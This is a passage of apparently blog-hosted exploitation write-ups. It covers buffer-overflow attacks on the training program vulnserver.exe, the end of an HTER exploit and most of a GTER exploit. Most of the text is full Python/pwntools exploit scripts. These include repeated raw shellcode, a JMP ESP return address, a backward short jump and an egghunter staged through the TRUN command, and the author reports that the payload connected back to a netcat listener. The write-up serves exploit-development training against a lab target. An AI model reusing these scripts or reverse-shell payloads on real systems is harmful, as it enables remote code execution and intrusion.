shellcode += b"\x7c\x1d\x9d\x23\xbc\x79\xd6\x14\x0c\x09\xba"
shellcode += b"\x98\xe7\x5f\x2e\x2a\x85\x77\x41\x9b\x20\xae"
shellcode += b"\x6c\x1c\x18\x92\xef\x9e\x63\xc7\xcf\x9f\xab"
shellcode += b"\x1a\x0e\xe7\xd6\xd7\x42\xb0\x9d\x4a\x72\xb5"
shellcode += b"\xe8\x56\xf9\x85\xfd\xde\x1e\x5d\xff\xcf\xb1"
shellcode += b"\xd5\xa6\xcf\x30\x39\xd3\x59\x2a\x5e\xde\x10"
shellcode += b"\xc1\x94\x94\xa2\x03\xe5\x55\x08\x6a\xc9\xa7"
shellcode += b"\x50\xab\xee\x57\x27\xc5\x0c\xe5\x30\x12\x6e"
shellcode += b"\x31\xb4\x80\xc8\xb2\x6e\x6c\xe8\x17\xe8\xe7"
shellcode += b"\xe6\xdc\x7e\xaf\xea\xe3\x53\xc4\x17\x6f\x52"
shellcode += b"\x0a\x9e\x2b\x71\x8e\xfa\xe8\x18\x97\xa6\x5f"
shellcode += b"\x24\xc7\x08\x3f\x80\x8c\xa5\x54\xb9\xcf\xa1"
shellcode += b"\x99\xf0\xef\x31\xb6\x83\x9c\x03\x19\x38\x0a"
shellcode += b"\x28\xd2\xe6\xcd\x4f\xc9\x5f\x41\xae\xf2\x9f"
shellcode += b"\x48\x75\xa6\xcf\xe2\x5c\xc7\x9b\xf2\x61\x12"
shellcode += b"\x0b\xa2\xcd\xcd\xec\x12\xae\xbd\x84\x78\x21"
shellcode += b"\xe1\xb5\x83\xeb\x8a\x5c\x7e\x7c\x75\x08\x08"
shellcode += b"\x8a\x1d\x4b\x08\x62\x82\xc2\xee\xee\x2a\x83"
shellcode += b"\xb9\x86\xd3\x8e\x31\x36\x1b\x05\x3c\x78\x97"
shellcode += b"\xaa\xc1\x37\x50\xc6\xd1\xa0\x90\x9d\x8b\x67"
shellcode += b"\xae\x0b\xa3\xe4\x3d\xd0\x33\x62\x5e\x4f\x64"
shellcode += b"\x23\x90\x86\xe0\xd9\x8b\x30\x16\x20\x4d\x7a"
shellcode += b"\x92\xff\xae\x85\x1b\x8d\x8b\xa1\x0b\x4b\x13"
shellcode += b"\xee\x7f\x03\x42\xb8\x29\xe5\x3c\x0a\x83\xbf"
shellcode += b"\x93\xc4\x43\x39\xd8\xd6\x15\x46\x35\xa1\xf9"
shellcode += b"\xf7\xe0\xf4\x06\x37\x65\xf1\x7f\x25\x15\xfe"
shellcode += b"\xaa\xed\x25\xb5\xf6\x44\xae\x10\x63\xd5\xb3"
shellcode += b"\xa2\x5e\x1a\xca\x20\x6a\xe3\x29\x38\x1f\xe6"
shellcode += b"\x76\xfe\xcc\x9a\xe7\x6b\xf2\x09\x07\xbe"
def str2hex(val):
return(''.join(\[hex(ord(x))\[2:\].rjust(2,'0') for x in val\]))
payload = ""
payload += "HTER "
payload += "A"*2041
payload += str2hex(p32(0x625011af))
payload += str2hex("\x90"*50) # NOP SLED
payload += str2hex(shellcode)
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Executing this payload gives us a shell.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*mgKGtBXzxS_DW37mEb0TBw.png" alt="" class="align-center" /></p>
<p>— ar33zy</p>ar33zyIn this write-up, I will discuss about attacking HTER command of vulnserver.exe with the use of hex characters.Exploiting vulnserver.exe — GTER command using egghunter2020-07-05T13:30:54+00:002020-07-05T13:30:54+00:00https://ar33zy.hackstreetboys.ph/exploitation/windows/windows-exploitation-vulnserver-gter-command<p>In this write-up, I will discuss about attacking GTER command of vulnserver.exe with egghunter. The exploit for this command is similar to <code class="language-plaintext highlighter-rouge">KSTET</code> command, so please check <a href="/exploitation/windows/windows-exploitation-vulnserver-kstet-command/">this write-up</a> first before proceeding to this post as I will skip some of the details discussed on the previous post.</p>
<p>To get started, let’s read the source code of vulnserver.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*3sQuYmPEm0lh84-EuIl3LA.png" alt="" class="align-center" /></p>
<p>The code tells us that it only copies <code class="language-plaintext highlighter-rouge">180 bytes</code> of our input <code class="language-plaintext highlighter-rouge">(RecvBuf)</code> to <code class="language-plaintext highlighter-rouge">GterBuf</code>, and it passes <code class="language-plaintext highlighter-rouge">GterBuf</code> to <code class="language-plaintext highlighter-rouge">Function1().</code></p>
<p>Let’s inspect <code class="language-plaintext highlighter-rouge">Function1</code> to have a better understanding what happens next.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*AZjStVVels2svm4p_TYCPA.png" alt="" class="align-center" /></p>
<p>The contents of <code class="language-plaintext highlighter-rouge">GterBuf</code> is copied to <code class="language-plaintext highlighter-rouge">Buffer2S</code> without checking the length. This is where the vulnerability occurs. Since <code class="language-plaintext highlighter-rouge">Buffer2S</code> can only handle <code class="language-plaintext highlighter-rouge">140</code> <code class="language-plaintext highlighter-rouge">bytes</code> and <code class="language-plaintext highlighter-rouge">GterBuf</code> can handle up to <code class="language-plaintext highlighter-rouge">180 bytes</code> of input, we can smash the stack by sending a payload greater than <code class="language-plaintext highlighter-rouge">140 bytes.</code></p>
<p>Our initial payload should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GTER "
payload += "A"*180
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload to <code class="language-plaintext highlighter-rouge">vulnserver</code> makes the program crash.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*NasfarM_dhEYqdSJtMpFnQ.png" alt="" class="align-center" /></p>
<p>Upon checking the registers, it seems that we can now control the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*qHhGo6cae1kEMb1BypqnEw.png" alt="" class="align-center" /></p>
<p>Let’s fuzz this program to get the offset we need to control EIP.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*gDFuPMJKFBa30L68Ok7FQg.png" alt="" class="align-center" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GTER "
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"
r.sendline(payload)
r.close()
</code></pre></div></div>
<p>Sending this payload gives us the unique pattern that has overwritten the instruction pointer.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*H4lNTrQC3u1AWTJN-11dFw.png" alt="" class="align-center" /></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*-zNzQPP_DZt1kaozAH9lKQ.png" alt="" class="align-center" /></p>
<p>We can now control the instruction pointer with <code class="language-plaintext highlighter-rouge">151 bytes</code> of buffer.</p>
<p>Now, our issue here is that we only have <code class="language-plaintext highlighter-rouge">180 bytes</code> of space for our payload, and our shellcode have a length of <code class="language-plaintext highlighter-rouge">300</code> to <code class="language-plaintext highlighter-rouge">400</code> on average. We need to do a trick for sending our shellcode on the program, and at the same time jumping into it.</p>
<p>Upon checking again the source code, I have seen some unexploitable commands that can be used to inject our shellcode.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*6qtvwH4DN5iQ4950rwUicw.png" alt="" class="align-center" /></p>
<p>GDOG command stores <code class="language-plaintext highlighter-rouge">1024 bytes</code> of our input to <code class="language-plaintext highlighter-rouge">GdogBuf</code>. Given this, we need to have a 2-stage payload to make our exploit work.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- Stage 1 — injecting our payload using GDOG
- Stage 2 — jumping to shellcode using GTER vulnerability
</code></pre></div></div>
<p>Since we can say that using the stage 1 payload, our shellcode can be located inside the program. Given this, we can use an <code class="language-plaintext highlighter-rouge">egghunter</code> to locate our injected shellcode.</p>
<p>We can easily generate an egghunter shellcode with the help of <code class="language-plaintext highlighter-rouge">mona</code> by using <code class="language-plaintext highlighter-rouge">!mona egg -t arzy</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*XxTzoK6v4V2LucJH_Pb0ng.png" alt="" class="align-center" /></p>
<p>Now, we need to think of a way to execute this egghunter shellcode. The length of this shellcode is <code class="language-plaintext highlighter-rouge">32 bytes,</code> and we have a limited space for our payload. We can only place this shellcode <code class="language-plaintext highlighter-rouge">in the buffer before our instruction pointer control</code>.</p>
<p>Our stage 2 payload structure should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <buffer with egghunter shellcode> + <instruction pointer control>
</code></pre></div></div>
<p>Now, we need to jump backwards to our <code class="language-plaintext highlighter-rouge">egghunter shellcode</code> by using <code class="language-plaintext highlighter-rouge">JMP ESP</code> and <code class="language-plaintext highlighter-rouge">RELATIVE SHORT JMP.</code></p>
<blockquote>
<p>I have introduced <code class="language-plaintext highlighter-rouge">JMP ESP</code> and <code class="language-plaintext highlighter-rouge">RELATIVE SHORT JMP</code> from my previous posts, you may read about them from these posts.</p>
<ul>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-trun-command/">JMP ESP</a></li>
<li><a href="/exploitation/windows/windows-exploitation-vulnserver-gmon-command/">RELATIVE SHORT JMP</a></li>
</ul>
</blockquote>
<p>Let’s check if there is an available <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction that we can use with the help of <code class="language-plaintext highlighter-rouge">mona</code>. We can simply use <code class="language-plaintext highlighter-rouge">!mona jmp -r esp</code> to get a list of <code class="language-plaintext highlighter-rouge">JMP ESP</code> instructions.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*C0OnjhltpKowQH7owXqcDA.png" alt="" class="align-center" /></p>
<p>We can use <code class="language-plaintext highlighter-rouge">0x625011af</code> as our <code class="language-plaintext highlighter-rouge">JMP ESP</code> instruction.</p>
<p>Next, we need to construct our <code class="language-plaintext highlighter-rouge">RELATIVE SHORT JMP</code> instruction. Since our egghunter is just <code class="language-plaintext highlighter-rouge">32 bytes</code> and our buffer length is <code class="language-plaintext highlighter-rouge">70 bytes</code>, we can try to use <code class="language-plaintext highlighter-rouge">JMP -50</code>.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/0*QGym1r7AYlvUDFtj.png" alt="" class="align-center" /></p>
<p>Let’s reconstruct our payload structure, it should now look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = <buffer with egghunter> + <jmp esp> + <jmp -50>
</code></pre></div></div>
<p>Combining everything above, our payload script should now look like this. Let’s use “<code class="language-plaintext highlighter-rouge">\xcc</code>” as our egghunter placeholder.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += "\xcc"*32 # egghunter placeholder
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*uOFs1lM32LHK4gUkbePKmg.png" alt="" class="align-center" /></p>
<p>We successfully landed on the location that we want. Let’s replace this with our <code class="language-plaintext highlighter-rouge">egghunter</code> and construct our stage 1 payload.</p>
<p>Our <code class="language-plaintext highlighter-rouge">stage 1 payload</code> should include the <code class="language-plaintext highlighter-rouge">egg</code> and the <code class="language-plaintext highlighter-rouge">shellcode</code>. The payload structure should look like this.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = "arzy"*2 + NOP sled + shellcode
</code></pre></div></div>
<p>Now, let’s generate our shellcode.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*sAGbLrJ7g3V4Ii31ly_5TQ.png" alt="" class="align-center" /></p>
<p>To check if the egghunter can really locate our shellcode, we can add a debugging instruction (<code class="language-plaintext highlighter-rouge">\xcc</code>) before the NOP sled.</p>
<p>Let’s now combine everything above in our payload script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "GDOG "
payload += "arzy"*2
payload += "\xcc"*4
payload += "\x90"*100
payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*PirY0RhofXVseNUv_s20bA.png" alt="" class="align-center" /></p>
<p>Nothing happened after running the exploit. It seems that there is an issue with our exploit script.</p>
<p>Upon reviewing the exploit script, I remembered that we cannot use <code class="language-plaintext highlighter-rouge">GDOG</code> coomand for our shellcode injection.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*P4FfvWanG9p9n4Zp3n34Hw.png" alt="" class="align-center" /></p>
<p>During the execution of GTER command, the contents of <code class="language-plaintext highlighter-rouge">GdogBuf</code> is cleared using <code class="language-plaintext highlighter-rouge">memset().</code></p>
<p>Upon testing different commands, the <code class="language-plaintext highlighter-rouge">TRUN</code> command was able to inject our shellcode.</p>
<p>Let’s rewrite our exploit script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
import time
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "TRUN ."
payload += "arzy"*2
payload += "\xcc"
payload += "\x90"*100
payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*kGRSQeZo8KW5QMhDKuoTpg.png" alt="" class="align-center" /></p>
<p>It successfully landed on our debugger. Let’s try to continue the program and check if the shellcode is executed successfully.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*W4r5xlDUE7tIJUffBTVZpA.png" alt="" class="align-center" /></p>
<p>There was an issue encountered during shellcode execution. It seems that there was an issue with the contents of the registers or stack during execution.</p>
<p>Since the program is running as a server, I tried to close the current socket and reopened a new connection for the <code class="language-plaintext highlighter-rouge">egghutner payload</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "TRUN ."
payload += "arzy"*2
payload += "\xcc"
payload += "\x90"*100
payload += shellcode
r.readline()
r.sendline(payload)
r.readline()
r.close()
#Reopening connection to vulnserver
r = remote(host, port)
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = ""
payload += "GTER "
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer
payload += egghunter
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment
payload += p32(0x625011af) # JMP ESP
payload += "\xeb\xce\x90\x90" # JMP -50
r.sendline(payload)
r.close()
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*O9HU3lzjCNKFGdQcaYAE3g.png" alt="" class="align-center" /></p>
<p>Again, we landed successfully on our desired location.</p>
<p>Continuing the program after the debug instruction.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*sOPviTqnJ_GJAEG3JjSqpQ.png" alt="" class="align-center" /></p>
<p>The program continued successfully.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*eM5m-KWpLGmDEKte5wrdug.png" alt="" class="align-center" /></p>
<p>Going back to the netcat listener, it seems that the shellcode was executed successfully.</p>
<p>Let’s remove the debugger on our final script.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *
host = '192.168.136.241'
port = 9999
r = remote(host, port)
shellcode = b""
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"
payload = "TRUN ."
payload += "arzy"*2
payload += "\x90"*100
